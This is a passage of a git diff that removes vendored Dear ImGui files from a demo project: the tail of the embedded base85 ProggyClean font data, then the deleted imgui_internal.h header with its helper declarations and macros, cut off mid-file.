"hd+<-j'Ai*x&&HMkT]C'OSl##5RG[JXaHN;d'uA#x._U;.`PU@(Z3dt4r152@:v,'R.Sj'w#0<-;kPI)FfJ&#AYJ&#//)>-k=m=*XnK$>=)72L]0I%>.G690a:$##<,);?;72#?x9+d;" - "^V'9;jY@;)br#q^YQpx:X#Te$Z^'=-=bGhLf:D6&bNwZ9-ZD#n^9HhLMr5G;']d&6'wYmTFmLq9wI>P(9mI[>kC-ekLC/R&CH+s'B;K-M6$EB%is00:" - "+A4[7xks.LrNk0&E)wILYF@2L'0Nb$+pv<(2.768/FrY&h$^3i&@+G%JT'<-,v`3;_)I9M^AE]CN?Cl2AZg+%4iTpT3$U4O]GKx'm9)b@p7YsvK3w^YR-" - "CdQ*:Ir<($u&)#(&?L9Rg3H)4fiEp^iI9O8KnTj,]H?D*r7'M;PwZ9K0E^k&-cpI;.p/6_vwoFMV<->#%Xi.LxVnrU(4&8/P+:hLSKj$#U%]49t'I:rgMi'FL@a:0Y-uA[39',(vbma*" - "hU%<-SRF`Tt:542R_VV$p@[p8DV[A,?1839FWdFTi1O*H&#(AL8[_P%.M>v^-))qOT*F5Cq0`Ye%+$B6i:7@0IXSsDiWP,##P`%/L-" - "S(qw%sf/@%#B6;/U7K]uZbi^Oc^2n%t<)'mEVE''n`WnJra$^TKvX5B>;_aSEK',(hwa0:i4G?.Bci.(X[?b*($,=-n<.Q%`(X=?+@Am*Js0&=3bh8K]mL69=Lb,OcZV/);TTm8VI;?%OtJ<(b4mq7M6:u?KRdFl*:xP?Yb.5)%w_I?7uk5JC+FS(m#i'k.'a0i)9<7b'fs'59hq$*5Uhv##pi^8+hIEBF`nvo`;'l0.^S1<-wUK2/Coh58KKhLj" - "M=SO*rfO`+qC`W-On.=AJ56>>i2@2LH6A:&5q`?9I3@@'04&p2/LVa*T-4<-i3;M9UvZd+N7>b*eIwg:CC)c<>nO&#$(>.Z-I&J(Q0Hd5Q%7Co-b`-cP)hI;*_F]u`Rb[.j8_Q/<&>uu+VsH$sM9TA%?)(vmJ80),P7E>)tjD%2L=-t#fK[%`v=Q8WlA2);Sa" - ">gXm8YB`1d@K#n]76-a$U,mF%Ul:#/'xoFM9QX-$.QN'>" - "[%$Z$uF6pA6Ki2O5:8w*vP1<-1`[G,)-m#>0`P&#eb#.3i)rtB61(o'$?X3B2Qft^ae_5tKL9MUe9b*sLEQ95C&`=G?@Mj=wh*'3E>=-<)Gt*Iw)'QG:`@I" - "wOf7&]1i'S01B+Ev/Nac#9S;=;YQpg_6U`*kVY39xK,[/6Aj7:'1Bm-_1EYfa1+o&o4hp7KN_Q(OlIo@S%;jVdn0'1h19w,WQhLI)3S#f$2(eb,jr*b;3Vw]*7NH%$c4Vs,eD9>XW8?N]o+(*pgC%/72LV-uW%iewS8W6m2rtCpo'RS1R84=@paTKt)>=%&1[)*vp'u+x,VrwN;&]kuO9JDbg=pO$J*.jVe;u'm0dr9l,<*wMK*Oe=g8lV_KEBFkO'oU]^=[-792#ok,)" - "i]lR8qQ2oA8wcRCZ^7w/Njh;?.stX?Q1>S1q4Bn$)K1<-rGdO'$Wr.Lc.CG)$/*JL4tNR/,SVO3,aUw'DJN:)Ss;wGn9A32ijw%FL+Z0Fn.U9;reSq)bmI32U==5ALuG&#Vf1398/pVo" - "1*c-(aY168o<`JsSbk-,1N;$>0:OUas(3:8Z972LSfF8eb=c-;>SPw7.6hn3m`9^Xkn(r.qS[0;T%&Qc=+STRxX'q1BNk3&*eu2;&8q$&x>Q#Q7^Tf+6<(d%ZVmj2bDi%.3L2n+4W'$P" - "iDDG)g,r%+?,$@?uou5tSe2aN_AQU*'IAO" - "URQ##V^Fv-XFbGM7Fl(N<3DhLGF%q.1rC$#:T__&Pi68%0xi_&[qFJ(77j_&JWoF.V735&T,[R*:xFR*K5>>#`bW-?4Ne_&6Ne_&6Ne_&n`kr-#GJcM6X;uM6X;uM(.a..^2TkL%oR(#" - ";u.T%fAr%4tJ8&><1=GHZ_+m9/#H1F^R#SC#*N=BA9(D?v[UiFY>>^8p,KKF.W]L29uLkLlu/+4T" - "w$)F./^n3+rlo+DB;5sIYGNk+i1t-69Jg--0pao7Sm#K)pdHW&;LuDNH@H>#/X-TI(;P>#,Gc>#0Su>#4`1?#8lC?#xL$#B.`$#F:r$#JF.%#NR@%#R_R%#Vke%#Zww%#_-4^Rh%Sflr-k'MS.o?.5/sWel/wpEM0%3'/1)K^f1-d>G21&v(35>V`39V7A4=onx4" - "A1OY5EI0;6Ibgr6M$HS7Q<)58C5w,;WoA*#[%T*#`1g*#d=#+#hI5+#lUG+#pbY+#tnl+#x$),#&1;,#*=M,#.I`,#2Ur,#6b.-#;w[H#iQtA#m^0B#qjBB#uvTB##-hB#'9$C#+E6C#" - "/QHC#3^ZC#7jmC#;v)D#?,)4kMYD4lVu`4m`:&5niUA5@(A5BA1]PBB:xlBCC=2CDLXMCEUtiCf&0g2'tN?PGT4CPGT4CPGT4CPGT4CPGT4CPGT4CPGT4CP" - "GT4CPGT4CPGT4CPGT4CPGT4CPGT4CP-qekC`.9kEg^+F$kwViFJTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5KTB&5o,^<-28ZI'O?;xp" - "O?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xpO?;xp;7q-#lLYI:xvD=#"; - -static const char* GetDefaultCompressedFontDataTTFBase85() -{ - return proggy_clean_ttf_compressed_data_base85; -} - -#endif // #ifndef IMGUI_DISABLE diff --git a/demos/DemoImGui/imgui_internal.h b/demos/DemoImGui/imgui_internal.h deleted file mode 100644 index 434c6b9..0000000 --- a/demos/DemoImGui/imgui_internal.h +++ /dev/null @@ -1,2597 +0,0 @@ -#define WINUSERAPI -#define _KERNEL32_ -#define _ACRTIMP -#define _NTSYSTEM_ -#define _GDI32_ - -// dear imgui, v1.82 WIP -// (internal structures/api) - -// You may use this file to debug, understand or extend ImGui features but we don't provide any guarantee of forward compatibility! -// Set: -// #define IMGUI_DEFINE_MATH_OPERATORS -// To implement maths operators for ImVec2 (disabled by default to not collide with using IM_VEC2_CLASS_EXTRA along with your own math types+operators) - -/* - -Index of this file: - -// [SECTION] Header mess -// [SECTION] Forward declarations -// [SECTION] Context pointer -// [SECTION] STB libraries includes -// [SECTION] Macros -// [SECTION] Generic helpers -// [SECTION] ImDrawList support -// [SECTION] Widgets support: flags, enums, data structures -// [SECTION] Columns support -// [SECTION] Multi-select support -// [SECTION] Docking support -// [SECTION] Viewport support -// [SECTION] Settings support -// [SECTION] Metrics, Debug -// [SECTION] Generic context hooks -// [SECTION] ImGuiContext (main imgui context) -// [SECTION] ImGuiWindowTempData, ImGuiWindow -// [SECTION] Tab bar, Tab item support -// [SECTION] Table support -// [SECTION] ImGui internal API -// [SECTION] ImFontAtlas internal API -// [SECTION] Test Engine specific hooks (imgui_test_engine) - -*/ - -#pragma once -#ifndef IMGUI_DISABLE - -//----------------------------------------------------------------------------- -// [SECTION] Header mess -//----------------------------------------------------------------------------- - -#ifndef IMGUI_VERSION -#error Must include imgui.h before imgui_internal.h -#endif - -#include // FILE*, sscanf -#include // NULL, malloc, free, qsort, atoi, atof -#include // sqrtf, fabsf, fmodf, powf, floorf, ceilf, cosf, sinf -#include // INT_MIN, INT_MAX - -// Visual Studio warnings -#ifdef _MSC_VER -#pragma warning (push) -#pragma warning (disable: 4251) // class 'xxx' needs to have dll-interface to be used by clients of struct 'xxx' // when IMGUI_API is set to__declspec(dllexport) -#endif - -// Clang/GCC warnings with -Weverything -#if defined(__clang__) -#pragma clang diagnostic push -#if __has_warning("-Wunknown-warning-option") -#pragma clang diagnostic ignored "-Wunknown-warning-option" // warning: unknown warning group 'xxx' -#endif -#pragma clang diagnostic ignored "-Wunknown-pragmas" // warning: unknown warning group 'xxx' -#pragma clang diagnostic ignored "-Wunused-function" // for stb_textedit.h -#pragma clang diagnostic ignored "-Wmissing-prototypes" // for stb_textedit.h -#pragma clang diagnostic ignored "-Wold-style-cast" -#pragma clang diagnostic ignored "-Wzero-as-null-pointer-constant" -#pragma clang diagnostic ignored "-Wdouble-promotion" -#pragma clang diagnostic ignored "-Wimplicit-int-float-conversion" // warning: implicit conversion from 'xxx' to 'float' may lose precision -#elif defined(__GNUC__) -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind -#pragma GCC diagnostic ignored "-Wclass-memaccess" // [__GNUC__ >= 8] warning: 'memset/memcpy' clearing/writing an object of type 'xxxx' with no trivial copy-assignment; use assignment or value-initialization instead -#endif - -// Legacy defines -#ifdef IMGUI_DISABLE_FORMAT_STRING_FUNCTIONS // Renamed in 1.74 -#error Use IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS -#endif -#ifdef IMGUI_DISABLE_MATH_FUNCTIONS // Renamed in 1.74 -#error Use IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS -#endif - -// Enable stb_truetype by default unless FreeType is enabled. -// You can compile with both by defining both IMGUI_ENABLE_FREETYPE and IMGUI_ENABLE_STB_TRUETYPE together. -#ifndef IMGUI_ENABLE_FREETYPE -#define IMGUI_ENABLE_STB_TRUETYPE -#endif - -//----------------------------------------------------------------------------- -// [SECTION] Forward declarations -//----------------------------------------------------------------------------- - -struct ImBitVector; // Store 1-bit per value -struct ImRect; // An axis-aligned rectangle (2 points) -struct ImDrawDataBuilder; // Helper to build a ImDrawData instance -struct ImDrawListSharedData; // Data shared between all ImDrawList instances -struct ImGuiColorMod; // Stacked color modifier, backup of modified data so we can restore it -struct ImGuiContext; // Main Dear ImGui context -struct ImGuiContextHook; // Hook for extensions like ImGuiTestEngine -struct ImGuiDataTypeInfo; // Type information associated to a ImGuiDataType enum -struct ImGuiGroupData; // Stacked storage data for BeginGroup()/EndGroup() -struct ImGuiInputTextState; // Internal state of the currently focused/edited text input box -struct ImGuiLastItemDataBackup; // Backup and restore IsItemHovered() internal data -struct ImGuiMenuColumns; // Simple column measurement, currently used for MenuItem() only -struct ImGuiNavMoveResult; // Result of a gamepad/keyboard directional navigation move query result -struct ImGuiMetricsConfig; // Storage for ShowMetricsWindow() and DebugNodeXXX() functions -struct ImGuiNextWindowData; // Storage for SetNextWindow** functions -struct ImGuiNextItemData; // Storage for SetNextItem** functions -struct ImGuiOldColumnData; // Storage data for a single column for legacy Columns() api -struct ImGuiOldColumns; // Storage data for a columns set for legacy Columns() api -struct ImGuiPopupData; // Storage for current popup stack -struct ImGuiSettingsHandler; // Storage for one type registered in the .ini file -struct ImGuiStackSizes; // Storage of stack sizes for debugging/asserting -struct ImGuiStyleMod; // Stacked style modifier, backup of modified data so we can restore it -struct ImGuiTabBar; // Storage for a tab bar -struct ImGuiTabItem; // Storage for a tab item (within a tab bar) -struct ImGuiTable; // Storage for a table -struct ImGuiTableColumn; // Storage for one column of a table -struct ImGuiTableSettings; // Storage for a table .ini settings -struct ImGuiTableColumnsSettings; // Storage for a column .ini settings -struct ImGuiWindow; // Storage for one window -struct ImGuiWindowTempData; // Temporary storage for one window (that's the data which in theory we could ditch at the end of the frame) -struct ImGuiWindowSettings; // Storage for a window .ini settings (we keep one of those even if the actual window wasn't instanced during this session) - -// Use your programming IDE "Go to definition" facility on the names of the center columns to find the actual flags/enum lists. -typedef int ImGuiLayoutType; // -> enum ImGuiLayoutType_ // Enum: Horizontal or vertical -typedef int ImGuiItemFlags; // -> enum ImGuiItemFlags_ // Flags: for PushItemFlag() -typedef int ImGuiItemStatusFlags; // -> enum ImGuiItemStatusFlags_ // Flags: for DC.LastItemStatusFlags -typedef int ImGuiOldColumnFlags; // -> enum ImGuiOldColumnFlags_ // Flags: for BeginColumns() -typedef int ImGuiNavHighlightFlags; // -> enum ImGuiNavHighlightFlags_ // Flags: for RenderNavHighlight() -typedef int ImGuiNavDirSourceFlags; // -> enum ImGuiNavDirSourceFlags_ // Flags: for GetNavInputAmount2d() -typedef int ImGuiNavMoveFlags; // -> enum ImGuiNavMoveFlags_ // Flags: for navigation requests -typedef int ImGuiNextItemDataFlags; // -> enum ImGuiNextItemDataFlags_ // Flags: for SetNextItemXXX() functions -typedef int ImGuiNextWindowDataFlags; // -> enum ImGuiNextWindowDataFlags_// Flags: for SetNextWindowXXX() functions -typedef int ImGuiSeparatorFlags; // -> enum ImGuiSeparatorFlags_ // Flags: for SeparatorEx() -typedef int ImGuiTextFlags; // -> enum ImGuiTextFlags_ // Flags: for TextEx() -typedef int ImGuiTooltipFlags; // -> enum ImGuiTooltipFlags_ // Flags: for BeginTooltipEx() - -typedef void (*ImGuiErrorLogCallback)(void* user_data, const char* fmt, ...); - -//----------------------------------------------------------------------------- -// [SECTION] Context pointer -// See implementation of this variable in imgui.cpp for comments and details. -//----------------------------------------------------------------------------- - -#ifndef GImGui -extern IMGUI_API ImGuiContext* GImGui; // Current implicit context pointer -#endif - -//------------------------------------------------------------------------- -// [SECTION] STB libraries includes -//------------------------------------------------------------------------- - -namespace ImStb -{ - -#undef STB_TEXTEDIT_STRING -#undef STB_TEXTEDIT_CHARTYPE -#define STB_TEXTEDIT_STRING ImGuiInputTextState -#define STB_TEXTEDIT_CHARTYPE ImWchar -#define STB_TEXTEDIT_GETWIDTH_NEWLINE (-1.0f) -#define STB_TEXTEDIT_UNDOSTATECOUNT 99 -#define STB_TEXTEDIT_UNDOCHARCOUNT 999 -#include "imstb_textedit.h" - -} // namespace ImStb - -//----------------------------------------------------------------------------- -// [SECTION] Macros -//----------------------------------------------------------------------------- - -// Debug Logging -#ifndef IMGUI_DEBUG_LOG -#define IMGUI_DEBUG_LOG(_FMT,...) printf("[%05d] " _FMT, GImGui->FrameCount, __VA_ARGS__) -#endif - -// Debug Logging for selected systems. Remove the '((void)0) //' to enable. -//#define IMGUI_DEBUG_LOG_POPUP IMGUI_DEBUG_LOG // Enable log -//#define IMGUI_DEBUG_LOG_NAV IMGUI_DEBUG_LOG // Enable log -#define IMGUI_DEBUG_LOG_POPUP(...) ((void)0) // Disable log -#define IMGUI_DEBUG_LOG_NAV(...) ((void)0) // Disable log - -// Static Asserts -#if (__cplusplus >= 201100) || (defined(_MSVC_LANG) && _MSVC_LANG >= 201100) -#define IM_STATIC_ASSERT(_COND) static_assert(_COND, "") -#else -#define IM_STATIC_ASSERT(_COND) typedef char static_assertion_##__line__[(_COND)?1:-1] -#endif - -// "Paranoid" Debug Asserts are meant to only be enabled during specific debugging/work, otherwise would slow down the code too much. -// We currently don't have many of those so the effect is currently negligible, but onward intent to add more aggressive ones in the code. -//#define IMGUI_DEBUG_PARANOID -#ifdef IMGUI_DEBUG_PARANOID -#define IM_ASSERT_PARANOID(_EXPR) IM_ASSERT(_EXPR) -#else -#define IM_ASSERT_PARANOID(_EXPR) -#endif - -// Error handling -// Down the line in some frameworks/languages we would like to have a way to redirect those to the programmer and recover from more faults. -#ifndef IM_ASSERT_USER_ERROR -#define IM_ASSERT_USER_ERROR(_EXP,_MSG) IM_ASSERT((_EXP) && _MSG) // Recoverable User Error -#endif - -// Misc Macros -#define IM_PI 3.14159265358979323846f -#ifdef _WIN32 -#define IM_NEWLINE "\r\n" // Play it nice with Windows users (Update: since 2018-05, Notepad finally appears to support Unix-style carriage returns!) -#else -#define IM_NEWLINE "\n" -#endif -#define IM_TABSIZE (4) -#define IM_MEMALIGN(_OFF,_ALIGN) (((_OFF) + (_ALIGN - 1)) & ~(_ALIGN - 1)) // Memory align e.g. IM_ALIGN(0,4)=0, IM_ALIGN(1,4)=4, IM_ALIGN(4,4)=4, IM_ALIGN(5,4)=8 -#define IM_F32_TO_INT8_UNBOUND(_VAL) ((int)((_VAL) * 255.0f + ((_VAL)>=0 ? 0.5f : -0.5f))) // Unsaturated, for display purpose -#define IM_F32_TO_INT8_SAT(_VAL) ((int)(ImSaturate(_VAL) * 255.0f + 0.5f)) // Saturated, always output 0..255 -#define IM_FLOOR(_VAL) ((float)(int)(_VAL)) // ImFloor() is not inlined in MSVC debug builds -#define IM_ROUND(_VAL) ((float)(int)((_VAL) + 0.5f)) // - -// Enforce cdecl calling convention for functions called by the standard library, in case compilation settings changed the default to e.g. __vectorcall -#ifdef _MSC_VER -#define IMGUI_CDECL __cdecl -#else -#define IMGUI_CDECL -#endif - -// Debug Tools -// Use 'Metrics->Tools->Item Picker' to break into the call-stack of a specific item. -#ifndef IM_DEBUG_BREAK -#if defined(__clang__) -#define IM_DEBUG_BREAK() __builtin_debugtrap() -#elif defined (_MSC_VER) -#define IM_DEBUG_BREAK() __debugbreak() -#else -#define IM_DEBUG_BREAK() IM_ASSERT(0) // It is expected that you define IM_DEBUG_BREAK() into something that will break nicely in a debugger! -#endif -#endif // #ifndef IM_DEBUG_BREAK - -//----------------------------------------------------------------------------- -// [SECTION] Generic helpers -// Note that the ImXXX helpers functions are lower-level than ImGui functions. -// ImGui functions or the ImGui context are never called/used from other ImXXX functions. -//----------------------------------------------------------------------------- -// - Helpers: Hashing -// - Helpers: Sorting -// - Helpers: Bit manipulation -// - Helpers: String, Formatting -// - Helpers: UTF-8 <> wchar conversions -// - Helpers: ImVec2/ImVec4 operators -// - Helpers: Maths -// - Helpers: Geometry -// - Helper: ImVec1 -// - Helper: ImVec2ih -// - Helper: ImRect -// - Helper: ImBitArray -// - Helper: ImBitVector -// - Helper: ImSpan<>, ImSpanAllocator<> -// - Helper: ImPool<> -// - Helper: ImChunkStream<> -//----------------------------------------------------------------------------- - -// Helpers: Hashing -IMGUI_API ImGuiID ImHashData(const void* data, size_t data_size, ImU32 seed = 0); -IMGUI_API ImGuiID ImHashStr(const char* data, size_t data_size = 0, ImU32 seed = 0); -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS -static inline ImGuiID ImHash(const void* data, int size, ImU32 seed = 0) { return size ? ImHashData(data, (size_t)size, seed) : ImHashStr((const char*)data, 0, seed); } // [moved to ImHashStr/ImHashData in 1.68] -#endif - -// Helpers: Sorting -#define ImQsort qsort - -// Helpers: Color Blending -IMGUI_API ImU32 ImAlphaBlendColors(ImU32 col_a, ImU32 col_b); - -// Helpers: Bit manipulation -static inline bool ImIsPowerOfTwo(int v) { return v != 0 && (v & (v - 1)) == 0; } -static inline bool ImIsPowerOfTwo(ImU64 v) { return v != 0 && (v & (v - 1)) == 0; } -static inline int ImUpperPowerOfTwo(int v) { v--; v |= v >> 1; v |= v >> 2; v |= v >> 4; v |= v >> 8; v |= v >> 16; v++; return v; } - -// Helpers: String, Formatting -IMGUI_API int ImStricmp(const char* str1, const char* str2); -IMGUI_API int ImStrnicmp(const char* str1, const char* str2, size_t count); -IMGUI_API void ImStrncpy(char* dst, const char* src, size_t count); -IMGUI_API char* ImStrdup(const char* str); -IMGUI_API char* ImStrdupcpy(char* dst, size_t* p_dst_size, const char* str); -IMGUI_API const char* ImStrchrRange(const char* str_begin, const char* str_end, char c); -IMGUI_API int ImStrlenW(const ImWchar* str); -IMGUI_API const char* ImStreolRange(const char* str, const char* str_end); // End end-of-line -IMGUI_API const ImWchar*ImStrbolW(const ImWchar* buf_mid_line, const ImWchar* buf_begin); // Find beginning-of-line -IMGUI_API const char* ImStristr(const char* haystack, const char* haystack_end, const char* needle, const char* needle_end); -IMGUI_API void ImStrTrimBlanks(char* str); -IMGUI_API const char* ImStrSkipBlank(const char* str); -IMGUI_API int ImFormatString(char* buf, size_t buf_size, const char* fmt, ...) IM_FMTARGS(3); -IMGUI_API int ImFormatStringV(char* buf, size_t buf_size, const char* fmt, va_list args) IM_FMTLIST(3); -IMGUI_API const char* ImParseFormatFindStart(const char* format); -IMGUI_API const char* ImParseFormatFindEnd(const char* format); -IMGUI_API const char* ImParseFormatTrimDecorations(const char* format, char* buf, size_t buf_size); -IMGUI_API int ImParseFormatPrecision(const char* format, int default_value); -static inline bool ImCharIsBlankA(char c) { return c == ' ' || c == '\t'; } -static inline bool ImCharIsBlankW(unsigned int c) { return c == ' ' || c == '\t' || c == 0x3000; } - -// Helpers: UTF-8 <> wchar conversions -IMGUI_API int ImTextStrToUtf8(char* buf, int buf_size, const ImWchar* in_text, const ImWchar* in_text_end); // return output UTF-8 bytes count -IMGUI_API int ImTextCharFromUtf8(unsigned int* out_char, const char* in_text, const char* in_text_end); // read one character. return input UTF-8 bytes count -IMGUI_API int ImTextStrFromUtf8(ImWchar* buf, int buf_size, const char* in_text, const char* in_text_end, const char** in_remaining = NULL); // return input UTF-8 bytes count -IMGUI_API int ImTextCountCharsFromUtf8(const char* in_text, const char* in_text_end); // return number of UTF-8 code-points (NOT bytes count) -IMGUI_API int ImTextCountUtf8BytesFromChar(const char* in_text, const char* in_text_end); // return number of bytes to express one char in UTF-8 -IMGUI_API int ImTextCountUtf8BytesFromStr(const ImWchar* in_text, const ImWchar* in_text_end); // return number of bytes to express string in UTF-8 - -// Helpers: ImVec2/ImVec4 operators -// We are keeping those disabled by default so they don't leak in user space, to allow user enabling implicit cast operators between ImVec2 and their own types (using IM_VEC2_CLASS_EXTRA etc.) -// We unfortunately don't have a unary- operator for ImVec2 because this would needs to be defined inside the class itself. -#ifdef IMGUI_DEFINE_MATH_OPERATORS -static inline ImVec2 operator*(const ImVec2& lhs, const float rhs) { return ImVec2(lhs.x * rhs, lhs.y * rhs); } -static inline ImVec2 operator/(const ImVec2& lhs, const float rhs) { return ImVec2(lhs.x / rhs, lhs.y / rhs); } -static inline ImVec2 operator+(const ImVec2& lhs, const ImVec2& rhs) { return ImVec2(lhs.x + rhs.x, lhs.y + rhs.y); } -static inline ImVec2 operator-(const ImVec2& lhs, const ImVec2& rhs) { return ImVec2(lhs.x - rhs.x, lhs.y - rhs.y); } -static inline ImVec2 operator*(const ImVec2& lhs, const ImVec2& rhs) { return ImVec2(lhs.x * rhs.x, lhs.y * rhs.y); } -static inline ImVec2 operator/(const ImVec2& lhs, const ImVec2& rhs) { return ImVec2(lhs.x / rhs.x, lhs.y / rhs.y); } -static inline ImVec2& operator*=(ImVec2& lhs, const float rhs) { lhs.x *= rhs; lhs.y *= rhs; return lhs; } -static inline ImVec2& operator/=(ImVec2& lhs, const float rhs) { lhs.x /= rhs; lhs.y /= rhs; return lhs; } -static inline ImVec2& operator+=(ImVec2& lhs, const ImVec2& rhs) { lhs.x += rhs.x; lhs.y += rhs.y; return lhs; } -static inline ImVec2& operator-=(ImVec2& lhs, const ImVec2& rhs) { lhs.x -= rhs.x; lhs.y -= rhs.y; return lhs; } -static inline ImVec2& operator*=(ImVec2& lhs, const ImVec2& rhs) { lhs.x *= rhs.x; lhs.y *= rhs.y; return lhs; } -static inline ImVec2& operator/=(ImVec2& lhs, const ImVec2& rhs) { lhs.x /= rhs.x; lhs.y /= rhs.y; return lhs; } -static inline ImVec4 operator+(const ImVec4& lhs, const ImVec4& rhs) { return ImVec4(lhs.x + rhs.x, lhs.y + rhs.y, lhs.z + rhs.z, lhs.w + rhs.w); } -static inline ImVec4 operator-(const ImVec4& lhs, const ImVec4& rhs) { return ImVec4(lhs.x - rhs.x, lhs.y - rhs.y, lhs.z - rhs.z, lhs.w - rhs.w); } -static inline ImVec4 operator*(const ImVec4& lhs, const ImVec4& rhs) { return ImVec4(lhs.x * rhs.x, lhs.y * rhs.y, lhs.z * rhs.z, lhs.w * rhs.w); } -#endif - -// Helpers: File System -#ifdef IMGUI_DISABLE_FILE_FUNCTIONS -#define IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS -typedef void* ImFileHandle; -static inline ImFileHandle ImFileOpen(const char*, const char*) { return NULL; } -static inline bool ImFileClose(ImFileHandle) { return false; } -static inline ImU64 ImFileGetSize(ImFileHandle) { return (ImU64)-1; } -static inline ImU64 ImFileRead(void*, ImU64, ImU64, ImFileHandle) { return 0; } -static inline ImU64 ImFileWrite(const void*, ImU64, ImU64, ImFileHandle) { return 0; } -#endif -#ifndef IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS -typedef FILE* ImFileHandle; -IMGUI_API ImFileHandle ImFileOpen(const char* filename, const char* mode); -IMGUI_API bool ImFileClose(ImFileHandle file); -IMGUI_API ImU64 ImFileGetSize(ImFileHandle file); -IMGUI_API ImU64 ImFileRead(void* data, ImU64 size, ImU64 count, ImFileHandle file); -IMGUI_API ImU64 ImFileWrite(const void* data, ImU64 size, ImU64 count, ImFileHandle file); -#else -#define IMGUI_DISABLE_TTY_FUNCTIONS // Can't use stdout, fflush if we are not using default file functions -#endif -IMGUI_API void* ImFileLoadToMemory(const char* filename, const char* mode, size_t* out_file_size = NULL, int padding_bytes = 0); - -// Helpers: Maths -// - Wrapper for standard libs functions. (Note that imgui_demo.cpp does _not_ use them to keep the code easy to copy) -#ifndef IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS -#define ImFabs(X) fabsf(X) -#define ImSqrt(X) sqrtf(X) -#define ImFmod(X, Y) fmodf((X), (Y)) -#define ImCos(X) cosf(X) -#define ImSin(X) sinf(X) -#define ImAcos(X) acosf(X) -#define ImAtan2(Y, X) atan2f((Y), (X)) -#define ImAtof(STR) atof(STR) -#define ImFloorStd(X) floorf(X) // We already uses our own ImFloor() { return (float)(int)v } internally so the standard one wrapper is named differently (it's used by e.g. stb_truetype) -#define ImCeil(X) ceilf(X) -static inline float ImPow(float x, float y) { return powf(x, y); } // DragBehaviorT/SliderBehaviorT uses ImPow with either float/double and need the precision -static inline double ImPow(double x, double y) { return pow(x, y); } -static inline float ImLog(float x) { return logf(x); } // DragBehaviorT/SliderBehaviorT uses ImLog with either float/double and need the precision -static inline double ImLog(double x) { return log(x); } -static inline float ImAbs(float x) { return fabsf(x); } -static inline double ImAbs(double x) { return fabs(x); } -static inline float ImSign(float x) { return (x < 0.0f) ? -1.0f : ((x > 0.0f) ? 1.0f : 0.0f); } // Sign operator - returns -1, 0 or 1 based on sign of argument -static inline double ImSign(double x) { return (x < 0.0) ? -1.0 : ((x > 0.0) ? 1.0 : 0.0); } -#endif -// - ImMin/ImMax/ImClamp/ImLerp/ImSwap are used by widgets which support variety of types: signed/unsigned int/long long float/double -// (Exceptionally using templates here but we could also redefine them for those types) -template static inline T ImMin(T lhs, T rhs) { return lhs < rhs ? lhs : rhs; } -template static inline T ImMax(T lhs, T rhs) { return lhs >= rhs ? lhs : rhs; } -template static inline T ImClamp(T v, T mn, T mx) { return (v < mn) ? mn : (v > mx) ? mx : v; } -template static inline T ImLerp(T a, T b, float t) { return (T)(a + (b - a) * t); } -template static inline void ImSwap(T& a, T& b) { T tmp = a; a = b; b = tmp; } -template static inline T ImAddClampOverflow(T a, T b, T mn, T mx) { if (b < 0 && (a < mn - b)) return mn; if (b > 0 && (a > mx - b)) return mx; return a + b; } -template static inline T ImSubClampOverflow(T a, T b, T mn, T mx) { if (b > 0 && (a < mn + b)) return mn; if (b < 0 && (a > mx + b)) return mx; return a - b; } -// - Misc maths helpers -static inline ImVec2 ImMin(const ImVec2& lhs, const ImVec2& rhs) { return ImVec2(lhs.x < rhs.x ? lhs.x : rhs.x, lhs.y < rhs.y ? lhs.y : rhs.y); } -static inline ImVec2 ImMax(const ImVec2& lhs, const ImVec2& rhs) { return ImVec2(lhs.x >= rhs.x ? lhs.x : rhs.x, lhs.y >= rhs.y ? lhs.y : rhs.y); } -static inline ImVec2 ImClamp(const ImVec2& v, const ImVec2& mn, ImVec2 mx) { return ImVec2((v.x < mn.x) ? mn.x : (v.x > mx.x) ? mx.x : v.x, (v.y < mn.y) ? mn.y : (v.y > mx.y) ? mx.y : v.y); } -static inline ImVec2 ImLerp(const ImVec2& a, const ImVec2& b, float t) { return ImVec2(a.x + (b.x - a.x) * t, a.y + (b.y - a.y) * t); } -static inline ImVec2 ImLerp(const ImVec2& a, const ImVec2& b, const ImVec2& t) { return ImVec2(a.x + (b.x - a.x) * t.x, a.y + (b.y - a.y) * t.y); } -static inline ImVec4 ImLerp(const ImVec4& a, const ImVec4& b, float t) { return ImVec4(a.x + (b.x - a.x) * t, a.y + (b.y - a.y) * t, a.z + (b.z - a.z) * t, a.w + (b.w - a.w) * t); } -static inline float ImSaturate(float f) { return (f < 0.0f) ? 0.0f : (f > 1.0f) ? 1.0f : f; } -static inline float ImLengthSqr(const ImVec2& lhs) { return (lhs.x * lhs.x) + (lhs.y * lhs.y); } -static inline float ImLengthSqr(const ImVec4& lhs) { return (lhs.x * lhs.x) + (lhs.y * lhs.y) + (lhs.z * lhs.z) + (lhs.w * lhs.w); } -static inline float ImInvLength(const ImVec2& lhs, float fail_value) { float d = (lhs.x * lhs.x) + (lhs.y * lhs.y); if (d > 0.0f) return 1.0f / ImSqrt(d); return fail_value; } -static inline float ImFloor(float f) { return (float)(int)(f); } -static inline ImVec2 ImFloor(const ImVec2& v) { return ImVec2((float)(int)(v.x), (float)(int)(v.y)); } -static inline int ImModPositive(int a, int b) { return (a + b) % b; } -static inline float ImDot(const ImVec2& a, const ImVec2& b) { return a.x * b.x + a.y * b.y; } -static inline ImVec2 ImRotate(const ImVec2& v, float cos_a, float sin_a) { return ImVec2(v.x * cos_a - v.y * sin_a, v.x * sin_a + v.y * cos_a); } -static inline float ImLinearSweep(float current, float target, float speed) { if (current < target) return ImMin(current + speed, target); if (current > target) return ImMax(current - speed, target); return current; } -static inline ImVec2 ImMul(const ImVec2& lhs, const ImVec2& rhs) { return ImVec2(lhs.x * rhs.x, lhs.y * rhs.y); } - -// Helpers: Geometry -IMGUI_API ImVec2 ImBezierCubicCalc(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, float t); -IMGUI_API ImVec2 ImBezierCubicClosestPoint(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, const ImVec2& p, int num_segments); // For curves with explicit number of 